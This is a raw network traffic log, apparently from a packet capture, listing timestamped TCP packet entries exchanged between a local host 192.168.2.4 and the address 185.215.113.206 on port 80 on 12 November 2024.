Nov 12, 2024 21:21:22.708492994 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.708494902 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.708507061 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.708518982 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.708522081 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.708522081 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.708530903 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.708554983 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.708575964 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.811827898 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.811849117 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.811861038 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.811873913 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.811892033 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.811961889 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.812166929 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855403900 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855423927 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855436087 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855469942 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855498075 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855509043 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855520010 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855552912 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855724096 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855736017 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855746031 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855757952 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855770111 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855772972 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855787039 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855798006 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855803013 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855808973 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855819941 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855827093 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855827093 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855832100 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855844021 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855863094 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855870008 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855880976 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855882883 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855891943 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855901957 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855902910 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855926037 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855937958 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855941057 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855948925 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855959892 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855971098 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855973005 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855983019 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.855993986 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.855997086 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856009960 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856018066 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856051922 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856081963 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856091976 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856101990 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856115103 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856125116 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856132984 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856153011 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856173038 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856230021 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856240988 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856261969 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856271982 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856273890 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856286049 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856296062 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856297970 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856309891 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856333017 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856352091 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856374025 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856386900 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856398106 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856410980 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856420994 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856422901 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856436014 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856446981 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856447935 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856482029 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856503010 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856509924 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856527090 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856543064 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856554031 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856554031 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856563091 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856565952 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856576920 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856587887 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856589079 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856599092 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856611967 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856623888 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856630087 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856630087 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856630087 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856640100 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856653929 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856657028 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856681108 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856687069 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856698036 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856698990 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856709003 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856719971 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856728077 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856731892 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856735945 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856743097 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856759071 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856764078 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856770992 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856782913 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856786013 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856792927 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856801987 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856806040 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856841087 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856868982 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.856971025 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856981993 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.856998920 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857009888 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857016087 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857021093 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857028008 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857040882 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857055902 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857088089 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857125044 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857136965 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857146978 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857160091 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857171059 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857172012 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857183933 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857192993 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857208967 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857209921 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857225895 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857232094 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857239008 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857248068 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857250929 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857261896 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857270002 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857274055 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857283115 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857285976 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857321978 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857373953 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857389927 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857398987 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857399940 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857414007 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857423067 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857424974 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857435942 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857446909 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857458115 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857459068 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857470036 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857475042 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857480049 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857490063 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857491970 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857510090 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857517004 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857525110 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857532978 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857536077 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857546091 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857557058 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857563019 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857573032 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857583046 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857584953 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857595921 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857598066 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857605934 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857614994 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857626915 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857631922 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857640028 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857650995 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857654095 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857661963 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857673883 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857677937 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857686996 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857696056 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857707977 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857719898 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857719898 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857732058 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857743025 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857749939 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857753992 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857758045 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857789040 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857819080 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857858896 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857930899 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857947111 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.857969046 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.857983112 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858083963 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858095884 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858105898 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858123064 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858127117 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858134031 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858144999 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858155012 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858156919 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858165026 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858175993 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858177900 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858186960 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858196974 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858206034 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858207941 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858220100 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858232975 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858238935 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858248949 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858259916 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858259916 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858272076 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858278036 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858283043 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858294964 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858299971 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858309031 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858329058 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858339071 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858345032 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858350992 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858361959 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858371973 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858382940 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858385086 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858401060 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858411074 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858412981 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858423948 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858423948 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858437061 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858453035 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858474970 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858477116 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858484983 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858494997 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858508110 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858516932 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858520031 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858530998 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858539104 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858542919 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858556032 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858566046 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858570099 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858577967 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858582973 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858594894 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858602047 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858608007 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858618975 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858628988 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858629942 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858640909 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858654022 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858654022 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858668089 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858669996 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858679056 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858689070 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858700037 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858704090 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858727932 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858731985 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858741045 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858761072 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858769894 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858771086 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858808041 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858833075 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858844042 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858855009 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858872890 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858880997 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858887911 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858892918 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858899117 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858917952 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858922005 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858946085 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858968973 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.858980894 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.858990908 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859002113 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859019041 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859021902 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859030008 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859040976 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859045029 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859051943 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859074116 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859100103 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859103918 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859112978 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859122992 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859146118 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859164000 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859170914 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859175920 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859185934 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859196901 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859206915 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859230042 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859277964 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859294891 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859307051 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859323025 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859329939 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859333992 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859344006 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859349012 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859355927 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859361887 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859368086 CET	80	49735	185.215.113.206	192.168.2.4
